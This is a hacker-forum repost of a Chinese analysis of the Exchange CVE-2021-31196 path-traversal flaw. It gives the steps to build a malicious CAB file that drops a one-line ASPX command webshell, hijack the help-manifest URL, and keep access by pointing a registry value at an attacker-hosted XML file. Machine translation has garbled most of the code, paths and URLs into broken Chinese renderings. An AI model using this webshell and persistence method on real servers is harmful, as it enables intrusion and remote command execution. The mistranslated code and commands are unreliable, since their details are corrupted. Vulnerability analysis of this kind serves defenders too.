跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

pw N2拥有2021 Microsoft Exchange服务器漏洞(CVE-2021-31196)利用分析

精选回复

发布于

0x00 前言

CVE-2021-31196是一个逻辑漏洞,利用前提是需要中间人攻击,并且还需要用户的交互操作,最后能够实现远程代码执行。

漏洞作者分享的技术文章:

斯尔辛西特街https://号。io/blog/2021/08/25/pw N2 own-温哥华-2021-微软-exchange-服务器-远程-代码-执行。超文本标记语言

本文仅在技术角度记录自己的研究心得。

0x01 简介

本文将要介绍以下内容:

漏洞调试

利用思路

0x02 漏洞调试

1.漏洞摘要

在Exchange Server 2013或更高版本中,当管理用户在交换命令行管理程序中运行更新-exchange帮助或者更新-交换帮助-强制命令时,处于特权网络位置的未经身份验证的攻击者可以触发远程执行代码漏洞

特权网络位置是指攻击者能够劫持域名http://go.microsoft.com/fwlink/p/?LinkId=287244

2.漏洞代码位置

按照原文中给出的资料,dnSpy打开文件c:\ Program Files \ Microsoft \ Exchange Server \ V15 \ Bin \ Microsoft .交换。Management.dll

依次定位到微软交换。管理。updatablehelp-帮助更新程序-更新帮助()

3.漏洞逻辑

(1)使用Exchange Management Shell执行Update-ExchangeHelp命令或者Update-ExchangeHelp -Force命令

在Exchange Server 2013或更高版本中,支持更新-exchange帮助命令,用来检查本地计算机上交换命令行管理程序最新可用版本的帮助

更新-exchange帮助的限制期为24小时,如果在24小时内再次执行命令,需要加入-力量参数

执行命令后进入更新帮助()函数,开始后面的操作

(2)下载配置文件

更新帮助()函数中下载配置文件的代码如下图

2-1.png

下载清单()的实现代码如下:

内部void下载清单()

{

string downloadUrl=this .解析uri(this。帮助更新程序。清单URL);

如果(!this.helpUpdater.Cmdlet.Abort)

{

这个AsyncDownloadFile(UpdatableHelpStrings .UpdateComponentManifest,downloadUrl,this。帮助更新程序。本地清单路径,30000,new DownloadProgressChangedEventHandler(this .OnManifestProgressChanged)、new AsyncCompletedEventHandler(this .OnManifestDownloadCompleted));

}

}

对于string downloadUrl=this .解析uri(this。帮助更新程序。清单URL);参数this.helpUpdater.ManifestUrl通过函数LoadConfiguration()获得,LoadConfiguration()的部分代码如下:

注册密钥注册密钥3=注册表本地机器。open subkey(' SOFTWARE \ \ Microsoft \ \ ExchangeServer \ \ v 15 \ \ update exchange help ');

if (registryKey3==null)

{

注册表键3=注册表本地机器。create subkey(' SOFTWARE \ \ Microsoft \ \ ExchangeServer \ \ v 15 \ \ update exchange help ');

}

if (registryKey3!=空)

{

尝试

{

这个ManifestUrl=registryKey3 .GetValue('ManifestUrl ',' http://go . Microsoft . com/fwlink/p/?LinkId=287244’).ToString();

如果(字符串IsNullOrEmpty(这个ManifestUrl))

{

抛出新的UpdatableExchangeHelpSystemException(UpdatableHelpStrings .UpdateRegkeyNotFoundErrorID,UpdatableHelpStrings .UpdateRegkeyNotFound(' SOFTWARE \ \ Microsoft \ \ ExchangeServer \ \ v 15 ',' \\UpdateExchangeHelp ',' ManifestUrl '),ErrorCategory .MetadataError,null,null);

}

这里的逻辑为读取注册表HKLM软件\微软\ ExchangeServer \ v15 \ updateexchange help中名称为ManifestUrl的项,如果存在,将值赋值给ManifestUrl,如果不存在,清单全球资源定位器(Uniform Resource Locator)的值为http://go.microsoft.com/fwlink/p/?LinkId=287244

这里也是这个漏洞的利用前提之一,需要能够劫持http://go.microsoft.com/fwlink/p/?LinkId=287244

换一种思路,如果已经获得了交换服务器的控制权限,通过修改注册表,设置ManifestUrl,类型为REG_SZ,值为远程可扩展标记语言地址,例如http://192.168.1.3/poc.xml,可以作为一种持久化的利用方法

对于这个AsyncDownloadFile(UpdatableHelpStrings .UpdateComponentManifest,downloadUrl,this。帮助更新程序。本地清单路径,30000,new DownloadProgressChangedEventHandler(this .OnManifestProgressChanged)、new AsyncCompletedEventHandler(this .OnManifestDownloadCompleted));参数这个。帮助更新程序。本地清单路径为配置文件的保存路径,默认配置下路径为c:\ Program Files \ Microsoft \ Exchange Server \ V15 \ Bin \ update help .$$$\ExchangeHelpInfo.xml

可扩展标记语言配置文件的格式示例:

15 .1 .2176 .21 en http://192。168 .1 .3/概念验证。驾驶室

参数版本为交换的版本号,在调试环境下可通过查看注册表获得:

REG QUERY ' HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ ExchangeServer \ v15 \ ClientAccessRole '/v配置的版本

参数修订本为修订版本号,这里需要注意取值范围,一次正常的更新-exchange帮助操作后,会在注册表HKLM软件\微软\ ExchangeServer \ v15 \ updateexchange help新建注册表项当前预览,类型为REG_DWORD,值为修订本对应的数值,在下一次更新-exchange帮助操作时,xml配置文件的修订本数值需要大于注册表项当前预览的值

注:

如果一次正常的更新-exchange帮助操作后,手动删除注册表项当前预览,在下一次更新-exchange帮助操作时,修订取一即可

参数橱柜全球资源定位器(Uniform Resource Locator)为驾驶室文件的下载地址

(3)下载并提取CAB文件

更新帮助()函数中下载并提取出租车文件的代码如下图

2-2.png

ExtractToTemp()的实现代码如下:

内部int ExtractToTemp()

{

这个。受影响的文件=0;

这个。帮助更新程序。确保目录(此。帮助更新程序。localcabinetexaptargetpath);

这个。帮助更新程序。清理目录(这。帮助更新程序。localcobinetextractiontargetpath);

bool嵌入式=false

字符串筛选器="";

int result=EmbeddedCabWrapper .ExtractCabFiles(this。帮助更新程序。localcabinetpath,这个。帮助更新程序。localcabinetexaptargetpath,filter,embedded);

这个。cab files=new Dictionary();

这个。帮助更新程序。recursivedescent(0,this。帮助更新程序。localcabinetsextractiontargetpath,string .Empty,this.affectedCultures,false,this。内阁文件);

this.filesAffected=result

返回结果;

}

对于int result=EmbeddedCabWrapper .ExtractCabFiles(this。帮助更新程序。localcabinetpath,这个。帮助更新程序。localcabinetexaptargetpath,filter,embedded);用于提取出租车文件的内容

提取驾驶室文件在提取之前没有对文件路径进行判断,这也是CVE-2021-31196的漏洞所在。如果传入./可以进行目录穿越,最终实现任意文件写入

关于出租车文件的制作,可以参照原文中的方法:

文件。文本文件(textfile)的内容如下:

poc.aspx ' './././././././inetpub/wwwroot/aspnet _ client/POC。aspx

poc.aspx的内容如下:

%=系统诊断。开始(' cmd '),请求['c'])%

命令行下执行命令:

使cab/d’cabinet name 1=POC。cab '/f文件。文本文件(textfile)

生成最终的poc。驾驶室

0x03 利用思路

1.通过中间人攻击的方式劫持http://go.microsoft.com/fwlink/p/?LinkId=287244

无线一键通可参考原文

当管理用户在交换命令行管理程序中运行更新-exchange帮助或者更新-交换帮助-强制命令时,交换服务器将会在c:\ inetpub \ wwwroot \ aspnet _ client写入Webshell

2.修改注册表,实现持久化利用

注册表位置:HKLM \软件\微软\ ExchangeServer \ v15 \ updateexchange help

新建注册表项,名称为ManifestUrl,类型为REG_SZ,内容为远程可扩展标记语言地址,例如http://192.168.1.3/poc.xml

0x04 防御建议

1.安装补丁

参考资料:

msrc街https://号。微软。com/update-guide/en-US/vulnerability/CVE-2021-31206

2.避免网络被劫持

0x05 小结

CVE-2021-31196的利用条件虽然相对来说多一些,但是在特定环境下也有利用的可能,需要及时更新补丁。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。